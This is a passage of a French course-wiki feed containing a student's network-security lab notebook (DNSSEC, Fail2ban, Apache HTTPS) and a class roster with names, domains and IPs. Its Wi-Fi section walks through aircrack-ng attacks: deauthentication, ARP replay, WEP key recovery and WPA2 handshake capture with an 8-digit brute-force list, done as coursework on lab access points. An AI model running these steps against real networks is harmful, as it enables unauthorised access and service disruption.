        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== 3.6 Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
== Cassage de la clé ==&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Cracotte08.png&amp;diff=12395</id>
		<title>Fichier:Cracotte08.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Cracotte08.png&amp;diff=12395"/>
		<updated>2026-02-25T16:36:28Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;clé trouvée&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12216</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12216"/>
		<updated>2026-02-10T16:56:23Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
